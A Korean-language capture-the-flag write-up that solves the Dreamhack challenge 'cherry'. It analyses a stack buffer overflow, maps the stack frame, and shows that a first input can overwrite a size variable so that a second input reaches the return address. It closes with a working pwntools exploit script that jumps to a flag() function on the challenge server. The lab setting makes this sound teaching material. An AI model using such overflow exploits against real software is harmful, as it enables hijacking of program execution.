cherry
strncmp only checks the first six bytes, so the rest of the overflow is free to reach the return address.
No execute 가 되어있다.
목표는 flag 함수를 실행시키는 거 같다. 이 코드는 stack overflow 취약점이 있다. 특히 buf 크기는 6바이트인데, 16바이트를 읽고 있다.
중요한 점은 strncmp(buf, "cherry", 6) 이라서 앞 6바이트만 cherry 면 되고 뒷자리에는 아무거나 넣을 수 있다는 점이다. 그래서 아마, main 함수가 끝날 때 원래 돌아갈 주소 대신 flag() 함수 주소로 이동하게 만드는 코드인 거 같다.
자세한 오프셋과 flag() 함수의 주소를 알아내려면 gdb 로 main stack frame 을 확인해야 할 거 같다. 참고로 플래그 함수의 주소는 그냥 shell = e.symbols['flag'] 로 얻어내면 된다!
이게 내가 gdb 어셈블리어를 분석해 확인한 메인 스택 프레임이다.
높은 주소
────────────────────────
rbp+0x08 saved RIP ← ret 때 여기로 점프
rbp+0x00 saved RBP
────────────────────────
rbp-0x04 stdin_fd = 0
rbp-0x08 stdout_fd = 1
rbp-0x0c buf_size = 0x10
rbp-0x12 fruit[6] = "cherry"
rbp-0x18 buf[6]
rbp-0x24 argc
rbp-0x30 argv
────────────────────────
낮은 주소
처음 입력에는 buf 는 6바이트인데 16바이트밖에 못 읽습니다. 그래서 첫 번째 read 는 여기까지밖에 못 덮습니다.
rbp-0x18 ~ rbp-0x13 buf[6]
rbp-0x12 ~ rbp-0x0d fruit[6]
rbp-0x0c ~ rbp-0x09 buf_size 일부
즉 ret 까지 덮기에 한참 부족합니다. 두 번째를 더해도, fruit 도 6바이트여서 16바이트만 읽고 ret 까지 가지 못합니다. 하지만 2차 입력 때는 이미 buf_size 의 값이 스택에서 overwrite 됐기 때문에 더 쓸 수 있습니다. 이미지로 보여주면:
offset 0~5 → buf = "cherry"
offset 6~11 → fruit = "AAAAAA"
offset 12~15 → buf_size = "AAAA"
그 후, fruit 에서 ret 직전까지의 거리는:
(rbp+0x08) - (rbp-0x12) = 0x1a = 26 bytes
이니까
from pwn import *
p = remote('host3.dreamhack.games', 20689)
e = ELF('./chall')
address = e.symbols['flag']
p.recvuntil(b': ')
payload = b'cherry'
payload += b'A' * 10
p.send(payload)
p.recvuntil(b': ')
payload = b'a' * 26
payload += p64(address)
p.send(payload)
p.interactive() 
